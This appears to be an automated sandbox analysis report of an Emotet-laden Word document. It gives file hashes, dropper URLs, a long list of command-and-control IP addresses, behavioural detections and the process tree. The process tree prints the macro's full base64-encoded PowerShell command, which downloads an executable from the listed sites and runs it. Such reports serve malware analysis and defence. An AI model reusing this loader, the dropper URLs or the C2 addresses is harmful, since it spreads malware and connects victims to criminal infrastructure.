Analysis
- max time kernel
139s - max time network
143s - platform
windows10_x64 - resource
win10v200722 - submitted
24/09/2020, 10:43
Static task
static1
Behavioral task
behavioral1
Sample
からの変更20.09.doc
Resource
win7
General
- Target からの変更20.09.doc
- Size 153KB
- Sample200924-dxrh4lclye
- SHA256 0f7fafaf2dc62f6f85fa3ffe292696219d28c05b0c6dc088bf2b7314d5bfdac2
- MD5 240724ced47dea80658c2ee3e322ead6
- SHA1 e6589525a35d5a413e72921fb9d37b932dca94b1
- SHA512 3b5f17a07f71ed206ec30265799117f62c3e80bbb1165a8e07b5bccd34ace80695c8f9e48c559656292818306dd8ffaed82a7bc5bc8429cf897e1449b91fafd9
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.firhajshoes.com/wp-admin/RgaiT/
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exe.dropper
http://fakeread.com/OneSignal-Web-SDK-HTTPS-Integration-Files/Wf/
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exe.dropper
http://www.rttutoring.com/wp-includes/LlbY6o/
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exe.dropper
http://blueskysol.com/sys-cache/2Rk/
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exe.dropper
http://crazyboxs.com/cgi-bin/IaJ/
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exe.dropper
http://www.paramedicaleducationguidelines.com/wp-admin/3jXU5Bp/
-
exe.dropper
http://nuhatoys.com/wp-admin/WWA4R/
Extracted
-
emotet
-
174.106.122.139:80
-
159.203.116.47:8080
-
173.249.6.108:443
-
104.236.246.93:8080
-
174.45.13.118:80
-
137.59.187.107:8080
-
94.200.114.161:80
-
37.187.72.193:8080
-
67.10.155.92:80
-
121.124.124.40:7080
-
24.43.99.75:80
-
75.139.38.211:80
-
109.74.5.95:8080
-
137.119.36.33:80
-
74.134.41.124:80
-
66.65.136.14:80
-
94.1.108.190:443
-
181.169.235.7:80
-
79.137.83.50:443
-
104.131.44.150:8080
-
121.7.127.163:80
-
96.249.236.156:443
-
120.150.60.189:80
-
134.209.36.254:8080
-
110.145.77.103:80
-
118.83.154.64:443
-
71.72.196.159:80
-
50.91.114.38:80
-
62.75.141.82:80
-
157.245.99.39:8080
-
140.186.212.146:80
-
168.235.67.138:7080
-
104.131.11.150:443
-
78.24.219.147:8080
-
46.105.131.79:8080
-
104.251.33.179:80
-
24.43.32.186:80
-
200.114.213.233:8080
-
153.137.36.142:80
-
85.96.199.93:80
-
94.23.237.171:443
-
5.39.91.110:7080
-
85.152.162.105:80
-
162.241.242.173:8080
-
213.196.135.145:80
-
139.99.158.11:443
-
194.187.133.160:443
-
78.187.156.31:80
-
1.221.254.82:80
-
124.41.215.226:80
-
139.130.242.43:80
-
209.141.54.221:8080
-
87.106.136.232:8080
-
83.169.36.251:8080
-
195.7.12.8:80
-
185.94.252.104:443
-
95.213.236.64:8080
-
42.200.107.142:80
-
203.153.216.189:7080
-
68.188.112.97:80
-
5.196.74.210:8080
-
87.106.139.101:8080
-
104.32.141.43:80
-
94.124.59.22:8080
-
74.219.172.26:80
-
108.46.29.236:80
-
93.147.212.206:80
-
172.104.97.173:8080
-
190.240.194.77:443
-
103.86.49.11:8080
-
74.208.45.104:8080
-
82.80.155.43:80
-
61.19.246.238:443
-
139.162.108.71:8080
-
121.7.31.214:80
-
188.219.31.12:80
-
37.139.21.175:8080
-
181.169.34.190:80
-
219.74.18.66:443
-
123.176.25.234:80
-
216.139.123.119:80
-
79.98.24.39:8080
-
62.30.7.67:443
-
139.162.60.124:8080
-
176.111.60.55:8080
-
91.211.88.52:7080
-
172.91.208.86:80
-
139.59.60.244:8080
-
89.216.122.92:80
-
142.112.10.95:20
-
107.5.122.110:80
-
50.35.17.13:80
-
97.82.79.83:80
-
68.252.26.78:80
-
110.142.236.207:80
-
47.144.21.12:443
-
24.137.76.62:80
-
220.245.198.194:80
-
74.120.55.163:80
-
24.179.13.119:80
-
113.61.66.94:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2616 3676 POwersheLL.exe 72 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1500-13-0x00000000004B0000-0x00000000004C2000-memory.dmp emotet behavioral2/memory/1500-13-0x00000000004B0000-0x00000000004C2000-memory.dmp emotet behavioral2/memory/1500-14-0x00000000004D0000-0x00000000004E0000-memory.dmp emotet behavioral2/memory/1500-14-0x00000000004D0000-0x00000000004E0000-memory.dmp emotet behavioral2/memory/3100-17-0x0000000000580000-0x0000000000592000-memory.dmp emotet behavioral2/memory/3100-17-0x0000000000580000-0x0000000000592000-memory.dmp emotet behavioral2/memory/3100-18-0x0000000002050000-0x0000000002060000-memory.dmp emotet behavioral2/memory/3100-18-0x0000000002050000-0x0000000002060000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 22 2616 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1500 P_lulvp1.exe 3100 taskcomp.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\DevicePairing\taskcomp.exe P_lulvp1.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3816 WINWORD.EXE 3816 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2616 POwersheLL.exe 2616 POwersheLL.exe 2616 POwersheLL.exe 3100 taskcomp.exe 3100 taskcomp.exe 3100 taskcomp.exe 3100 taskcomp.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2616 POwersheLL.exe - Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2616 wrote to memory of 1500 2616 POwersheLL.exe 79 PID 2616 wrote to memory of 1500 2616 POwersheLL.exe 79 PID 2616 wrote to memory of 1500 2616 POwersheLL.exe 79 PID 1500 wrote to memory of 3100 1500 P_lulvp1.exe 80 PID 1500 wrote to memory of 3100 1500 P_lulvp1.exe 80 PID 1500 wrote to memory of 3100 1500 P_lulvp1.exe 80
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\からの変更20.09.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABFAGgAZQBmADUAOQBpAD0AKAAoACcAWgAnACsAJwBzADUAJwApACsAJwAwACcAKwAoACcAZAA1ACcAKwAnAGIAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AdgA6AFUAcwBlAHIAcABSAE8AZgBJAGwAZQBcAEkAMgBiAHkARABvAEkAXABlAGoAbwAyADYAUQBEAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAQwB0AG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAGMAVQByAGkAYABUAHkAUAByAG8AdABPAGMAbwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACgAJwAsACAAdABsAHMAJwArACcAMQAnACkAKwAoACcAMQAnACsAJwAsACAAJwApACsAJwB0AGwAJwArACcAcwAnACkAOwAkAEYAMwB5AHMAcQBvAHYAIAA9ACAAKAAoACcAUAAnACsAJwBfAGwAdQAnACkAKwAnAGwAJwArACgAJwB2AHAAJwArACcAMQAnACkAKQA7ACQATQBsAG8AcAA4ADAAMwA9ACgAJwBGACcAKwAoACcAbgBqACcAKwAnAGsAcAA4AG8AJwApACkAOwAkAEQAZwBsAHIAeAA1AHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ASQAyACcAKwAnAGIAeQAnACsAKAAnAGQAbwAnACsAJwBpACcAKQArACcAewAwAH0AJwArACgAJwBFACcAKwAnAGoAbwAnACkAKwAnADIANgBxAGQAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAWwBDAEgAYQByAF0AOQAyACkAKwAkAEYAMwB5AHMAcQBvAHYAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABFAHoAdwB2AGoAMQBtAD0AKAAoACcAVwBlACcAKwAnADcAJwApACsAJwBlACcAKwAoACcAdAAnACsAJwBlAHYAJwApACkAOwAkAFUAcAAyAGkAbQBlAHAAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBMAGkAZQBuAHQAOwAkAFMAdwBrAGMAMgAyAG0APQAoACcAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6ACcAKwAoACcALwAnACsAJwAvAHcAdwB3AC4AZgAnACsAJwBpACcAKQArACcAcgAnACsAKAAnAGgAYQBqAHMAJwArACcAaAAnACkAKwAoACcAbwAnACsAJwBlAHMALgBjAG8AJwArACcAbQAvAHcAJwApACsAJwBwACcAKwAnAC0AYQAnACsAJwBkACcAKwAnAG0AJwArACcAaQAnACsAJwBuAC8AJwArACcAUgAnACsAJwBnACcAKwAnAGEAaQAnACsAJwBUAC8AJwArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACcAcAA6ACcAKwAnAC8ALwAnACsAKAAnAGYAYQBrACcAKwAnAGUAJwApACsAKAAnAHIAJwArACcAZQBhACcAKQArACcAZAAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACgAJwBtAC8AJwArACcATwAnACkAKwAoACcAbgAnACsAJwBlAFMAaQAnACsAJwBnAG4AJwArACcAYQBsAC0AVwAnACsAJwBlAGIALQBTACcAKwAnAEQASwAtACcAKQArACcASAAnACsAJwBUACcAKwAnAFQAJwArACcAUABTACcAKwAoACcALQAnACsAJwBJAG4AJwApACsAKAAnAHQAZQBnAHIAYQAnACsAJwB0AGkAJwApACsAKAAnAG8AbgAtAEYAaQBsACcAKwAnAGUAcwAvACcAKQArACgAJwBXAGYALwAnACsAJwAqACcAKQArACcAaAAnACsAKAAnAHQAJwArACcAdABwADoALwAnACkAKwAnAC8AJwArACgAJwB3ACcAKwAnAHcAdwAuACcAKQArACcAcgAnACsAKAAnAHQAdAAnACsAJwB1AHQAbwByAGkAJwApACsAKAAnAG4AZwAuAGMAJwArACcAbwBtACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtAGkAJwApACsAKAAnAG4AJwArACcAYwBsAHUAZAAnACkAKwAoACcAZQBzAC8AJwArACcATABsACcAKQArACgAJwBiAFkAJwArACcANgBvACcAKQArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYgAnACkAKwAoACcAbAB1ACcAKwAnAGUAJwApACsAJwBzACcAKwAnAGsAJwArACgAJwB5ACcAKwAnAHMAbwBsAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwBzACcAKwAnAHkAcwAnACsAJwAtACcAKwAoACcAYwAnACsAJwBhAGMAaAAnACkAKwAoACcAZQAvACcAKwAnADIAUgAnACkAKwAoACcAawAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AYwByACcAKQArACgAJwBhAHoAJwArACcAeQBiAG8AeABzAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAYwBnACcAKwAnAGkAJwApACsAJwAtACcAKwAnAGIAJwArACcAaQBuACcAKwAoACcALwBJACcAKwAnAGEASgAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAKAAnAHcAJwArACcAdwB3ACcAKQArACgAJwAuAHAAYQAnACsAJwByAGEAbQAnACsAJwBlACcAKQArACcAZABpACcAKwAoACcAYwBhAGwAZQAnACsAJwBkACcAKwAnAHUAYwBhAHQAaQAnACsAJwBvAG4AZwB1AGkAJwApACsAJwBkAGUAJwArACcAbAAnACsAKAAnAGkAJwArACcAbgBlAHMALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtAGkAbgAnACkAKwAoACcALwAzAGoAJwArACcAWABVACcAKQArACcANQBCACcAKwAoACcAcAAnACsAJwAvACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAOgAvAC8AJwApACsAJwBuACcAKwAnAHUAaAAnACsAKAAnAGEAdAAnACsAJwBvAHkAcwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAcAAnACkAKwAnAC0AJwArACgAJwBhACcAKwAnAGQAbQBpACcAKQArACgAJwBuAC8AJwArACcAVwBXACcAKQArACgAJwBBADQAUgAnACsAJwAvACcAKQApAC4AIgBzAFAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEsAaABtAHgANgByAGMAPQAoACcAQgBrACcAKwAoACcANwByADQAJwArACcAagAnACkAKwAnAGgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBnAHoAeABrAG4AagAgAGkAbgAgACQAUwB3AGsAYwAyADIAbQApAHsAdAByAHkAewAkAFUAcAAyAGkAbQBlAHAALgAiAEQATwBXAGAATgBsAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFkAZwB6AHgAawBuAGoALAAgACQARABnAGwAcgB4ADUAeAApADsAJABZAGMAZgA4ADQAZgB6AD0AKAAoACcAWgBnACcAKwAnAHUAMwAnACkAKwAoACcAZAAnACsAJwB5AGYAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQARABnAGwAcgB4ADUAeAApAC4AIgBsAGAAZQBuAEcAdABIACIAIAAtAGcAZQAgADIAMQA3ADcAMwApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABEAGcAbAByAHgANQB4ACkAOwAkAEwANwBoAHYAMwB5AHoAPQAoACcAQwAnACsAKAAnAHQAXwAnACsAJwA2ADYAcAB3ACcAKQApADsAYgByAGUAYQBrADsAJABVAGgAcgAwAHkAXwBqAD0AKAAoACcATwB4ACcAKwAnAHkAJwApACsAKAAnADgAawAnACsAJwBwACcAKQArACcAbwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAegBtAG4AXwBzAGcAPQAoACgAJwBNAGsAJwArACcAMQB4AHoAOAAnACkAKwAnAGUAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Users\Admin\I2bydoi\Ejo26qd\P_lulvp1.exe"C:\Users\Admin\I2bydoi\Ejo26qd\P_lulvp1.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\SysWOW64\DevicePairing\taskcomp.exe"C:\Windows\SysWOW64\DevicePairing\taskcomp.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3100
-
-